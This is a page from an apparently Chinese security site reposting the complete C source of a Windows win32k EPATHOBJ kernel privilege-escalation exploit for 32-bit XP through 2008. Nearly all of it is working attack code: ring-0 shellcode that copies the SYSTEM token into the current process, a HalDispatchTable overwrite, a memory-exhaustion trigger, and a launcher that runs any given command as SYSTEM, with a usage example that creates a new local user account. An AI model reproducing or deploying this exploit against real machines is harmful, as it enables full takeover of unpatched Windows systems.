首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Windows内核EPATHOBJ 0day exploit
来源:programmeboy@gmail.com 作者:progmboy 发布时间:2013-06-03  

#include <stdio.h>
#include <STDARG.H>
#include <stddef.h>
#include <windows.h>
//#include <ntstatus.h>

#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")

#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000

#pragma comment(linker, "/SECTION:.text,ERW")

//
// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
//
// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013
//

POINT       Points[MAX_POLYPOINTS];
BYTE        PointTypes[MAX_POLYPOINTS];
HRGN        Regions[MAX_REGIONS];
ULONG       NumRegion = 0;
HANDLE      Mutex;

// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

VOID LogInit();
VOID LogRelase();
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);

// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH   0x00000001
#define PD_ENDSUBPATH     0x00000002
#define PD_RESETSTYLE     0x00000004
#define PD_CLOSEFIGURE    0x00000008
#define PD_BEZIERS        0x00000010

#define ENABLE_SWITCH_DESKTOP 1

typedef struct  _POINTFIX
{
    ULONG x;
    ULONG y;
} POINTFIX, *PPOINTFIX;

// Approximated from reverse engineering.
typedef struct _PATHRECORD {
    struct _PATHRECORD *next;
    struct _PATHRECORD *prev;
    ULONG               flags;
    ULONG               count;
    POINTFIX            points[4];
} PATHRECORD, *PPATHRECORD;

PPATHRECORD PathRecord;
PATHRECORD  ExploitRecord = {0};
PPATHRECORD ExploitRecordExit;

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
    HANDLE Section;                 // Not filled in
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR  FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
    ULONG NumberOfModules;
    RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);

NtQueryIntervalProfile_  NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;
NtFreeVirtualMemory_ NtFreeVirtualMemory;
ULONG    PsInitialSystemProcess, PsReferencePrimaryToken,
   PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;

void _declspec(naked) ShellCode()
{
    __asm
    {
   pushad
   pushfd
   mov esi,PsReferencePrimaryToken
FindTokenOffset:
   lodsb
   cmp al, 8Dh;
   jnz FindTokenOffset
   mov edi,[esi+1]
   mov esi,PsInitialSystemProcess
   mov esi,[esi]
   push fs:[124h]
   mov eax,PsGetThreadProcess
   call eax
   add esi, edi
   push esi
   add edi, eax
   movsd
   
   ;add token ref count.
   pop esi
   mov esi, [esi]
   and esi, 0xFFFFFFF8
   lea eax, [esi-0x18]
   mov DWORD PTR [eax], 0x016B00B5
   ;fix the haltable
   mov eax, WriteToHalDispatchTable
   mov ecx, FixAddress
   mov [ecx], 0xC3
   mov DWORD PTR [eax], ecx

   popfd
   popad
   ;set ret code for NtQueryIntervalProfile
   mov eax, [esp+0xc]
   mov DWORD PTR [eax+4], 1
   mov DWORD PTR [eax+8], 0xC0000018
   xor eax, eax
   ret
    }
}

DWORD WINAPI WatchdogThread(LPVOID Parameter)
{
 //
    // This routine waits for a mutex object to timeout, then patches the
    // compromised linked list to point to an exploit. We need to do this.
    //

 LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId());
 
    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
  
  //
        // It looks like the main thread is stuck in a call to FlattenPath(),
        // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
        // up, and then patch the list to trigger our exploit.
        //

  while (NumRegion--)
            DeleteObject(Regions[NumRegion]);
  
        LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord);
  
        InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord);
  
    } else {
        LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
    }
 
    return 0;
}

void wellcome()
{
 printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n");
 printf("*******************************************************************\n");
 printf("***\texploit by:<progmboy> <programmeboy@gmail.com>\t\t***\n");
 printf("***\t0day finder:<Tavis Ormandy> <taviso@cmpxchg8b.com>\t***\n");
 printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n");
 printf("*******************************************************************\n");
}

void usage()
{
 printf("\nusage:\n<app> <cmd> <parameter>\n");
 printf("example:\napp.exe net \"user 111 111 /add\"");
}

BOOL
FindAFixAddress(
 ULONG NtoskrnlBase)
{
 FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2);
 LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress);
 return TRUE;

}

// 0x602464FF; /*jmp esp+0x60*/
// 0x51C3686A; /*push 0; ret*/
DWORD CheckMagicDword()
{
 OSVERSIONINFOEX OSVer;
 DWORD dwMagic = 0;

    OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    if(GetVersionEx((OSVERSIONINFO *)&OSVer)){
  switch(OSVer.dwMajorVersion){
  case 5:
   dwMagic = 0x602464FF;
   break;
  case 6:
   dwMagic = 0x642464FF;
   break;
  default:
   dwMagic = 0;
  }
 }
 return dwMagic;
}


int main(int argc, char **argv)
{
    HANDLE      Thread;
    HDC         Device;
    ULONG       Size;
    ULONG       PointNum;
 int nret = 0;
 
 DWORD MAGIC_DWORD = CheckMagicDword();
    ULONG AllocSize = 0x1000, status, NtoskrnlBase;
 RTL_PROCESS_MODULES  module;
 HMODULE ntoskrnl = NULL;
 DWORD dwFix;
 ULONG Address = MAGIC_DWORD & 0xFFFFF000;
 LONG ret;
 BOOL bRet = FALSE;
#ifdef ENABLE_SWITCH_DESKTOP
 HDESK hDesk;
#endif
    HMODULE  ntdll = GetModuleHandle( "ntdll.dll" );
 
 wellcome();

 if (argc < 2){
  usage();
  return -1;
 }

 if (!MAGIC_DWORD){
  LogMessage(L_ERROR, "unsupported system version\n");
  return -1;
 }

 LogInit();

 NtQueryIntervalProfile    =  (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
    NtAllocateVirtualMemory    =  (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
    NtQuerySystemInformation  =  (NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" );
 NtFreeVirtualMemory =  (NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" );
    if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory ||
   !NtQuerySystemInformation || !NtFreeVirtualMemory){
  LogMessage(L_ERROR, "get function address error\n");
  LogRelase();
  return -1;
 }
 
 //
 // try to allocate memory.
 //

 while (TRUE){
  ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  if(ret < 0){
   MEMORY_BASIC_INFORMATION meminfo;
   LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret);
   LogMessage(L_INFO, "try to free memory");
   if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){
    LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect);
   }
   ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE);
   if (ret < 0){
    LogMessage(L_ERROR, "free memory error code 0x%08x", ret);
    LogRelase();
    return -1;
   }
  }else{
   break;
  }
 }
 
 //
 // get the kernel info
 //

    status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
    if ( status != 0xC0000004 ){
  LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status);
        LogRelase();
  return -1;
 }
 
    NtoskrnlBase     =  (ULONG)module.Modules[0].ImageBase;
 
    //
    // 把ntoskrnl.exe加载进来
    //
 
    ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
    if (ntoskrnl == NULL){
  LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError());
        LogRelase();
  return -1;
 }
 
    //
    // 计算实际地址
    //
 
    WriteToHalDispatchTable =  (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4;
    PsInitialSystemProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
    PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
    PsGetThreadProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
 
 if(!FindAFixAddress(NtoskrnlBase)){
  LogMessage(L_ERROR, "Can not Find A Fix Address\n");
  nret = -1;
  goto __end;
 }

 //
    // Create our PATHRECORD in user space we will get added to the EPATHOBJ
    // pathrecord chain.
    //

 PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
                              sizeof(PATHRECORD),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);
 
 //
    // Initialize with recognizable debugging values.
    //

 FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

    PathRecord->next    = PathRecord;
    PathRecord->prev    = (PPATHRECORD)(0x42424242);
 
 //
    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
    // loop in EPATHOBJ::bFlatten().
    //

 PathRecord->flags   = 0;

    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);
 
 ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
 ExploitRecordExit->next = NULL;
 ExploitRecordExit->next = NULL;
 ExploitRecordExit->flags = PD_BEGINSUBPATH;
 ExploitRecordExit->count = 0;
 

 ExploitRecord.next  = (PPATHRECORD)MAGIC_DWORD;
    ExploitRecord.prev  = (PPATHRECORD)WriteToHalDispatchTable;
    ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
 ExploitRecord.count = 4;
 
    LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
 
 //
    // Generate a large number of Belier Curves made up of pointers to our
    // PATHRECORD object.
    //

 for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }

 //
    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    //
#ifdef ENABLE_SWITCH_DESKTOP
 hDesk = CreateDesktop( "DontPanic",
       NULL,
       NULL,
       0,
       GENERIC_ALL,
        NULL);
 if (hDesk){
  SetThreadDesktop(hDesk);
 }
#endif
 
 while (TRUE){

  BOOL bBreak = FALSE;

  Mutex = CreateMutex(NULL, TRUE, NULL);
  if (!Mutex){
   LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
   nret = -1;
   goto __end;
  }
  
  //
  // Get a handle to this Desktop.
  //

  Device = GetDC(NULL);
  
  //
  // Spawn a thread to cleanup
  //

  Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
  
  LogMessage(L_INFO, "start CreateRoundRectRgn");
  
  //
  // We need to cause a specific AllocObject() to fail to trigger the
  // exploitable condition. To do this, I create a large number of rounded
  // rectangular regions until they start failing. I don't think it matters
  // what you use to exhaust paged memory, there is probably a better way.
  //
  // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
  // failure. Seriously, do some damn QA Microsoft, wtf.
  //

  for (Size = 1 << 26; Size; Size >>= 1) {
   while (TRUE){
    HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);
    if (!hm){
     break;
    }
    if (NumRegion < MAX_REGIONS){
     Regions[NumRegion] = hm;
     NumRegion++;
    }else{
     NumRegion = 0;
    }
   }
  }

  LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);

  LogMessage(L_INFO, "Flattening curves...");
  
  //
  // Begin filling the free list with our points.
  //
  
  dwFix = *(PULONG)ShellCode;

  for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
   BeginPath(Device);
   PolyDraw(Device, Points, PointTypes, PointNum);
   EndPath(Device);
   FlattenPath(Device);
   FlattenPath(Device);
   
   //
   // call the function to exploit.
   //

   ret = NtQueryIntervalProfile(2, (PULONG)ShellCode);
   
   //
   // we will set the status with 0xC0000018 in ring0 shellcode.
   //

   if (*(PULONG)ShellCode == 0xC0000018){
    bRet = TRUE;
    break;
   }
   
   //
   // fix
   //
   
   *(PULONG)ShellCode = dwFix;

   EndPath(Device);
  }
  
  if (bRet){
   LogMessage(L_INFO, "Exploit ok run command");
   ShellExecute( NULL, "open", argv[1], argc > 2 ? argv[2] : NULL, NULL, SW_SHOW);
   bBreak = TRUE;
  }else{
   LogMessage(L_INFO, "No luck, cleaning up. and try again..");
  }
   
  //
  // If we reach here, we didn't trigger the condition. Let the other thread know.
  //

  ReleaseMutex(Mutex);
  
  ReleaseDC(NULL, Device);
  WaitForSingleObject(Thread, INFINITE);

  if (bBreak){
   break;
  }

 }
__end:
 LogRelase();
 if (ntoskrnl)
  FreeLibrary(ntoskrnl);
#ifdef ENABLE_SWITCH_DESKTOP
 if (hDesk){
  CloseHandle(hDesk);
 }
#endif
    return nret;
}

CRITICAL_SECTION gCSection;

VOID LogInit()
{
 InitializeCriticalSection(&gCSection);
}

VOID LogRelase()
{
 DeleteCriticalSection(&gCSection);
}

//
// A quick logging routine for debug messages.
//

BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
    CHAR Buffer[1024] = {0};
    va_list Args;
 
 EnterCriticalSection(&gCSection);

    va_start(Args, Format);
    _snprintf(Buffer, sizeof(Buffer), Format, Args);
    va_end(Args);

    switch (Level) {
        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
        case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
        case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
    }
 
    fflush(stdout);
    fflush(stderr);
 
 LeaveCriticalSection(&gCSection);

    return TRUE;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Oracle WebCenter Content Check
·Seowonintech Routers Remote Ro
·Apache Struts includeParams Re
·DS3 Authentication Server Comm
·Hindi Browser 1.2 Denial Of Se
·Imperva SecureSphere Operation
·YeaLink IP Phone Firmware 9.70
·PEStudio 3.69 - Denial of Serv
·BOINC Manager (Seti@home) 7.0.
·Exim sender_address Parameter
·ModSecurity Remote Null Pointe
·Mac OSX Server DirectoryServic
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved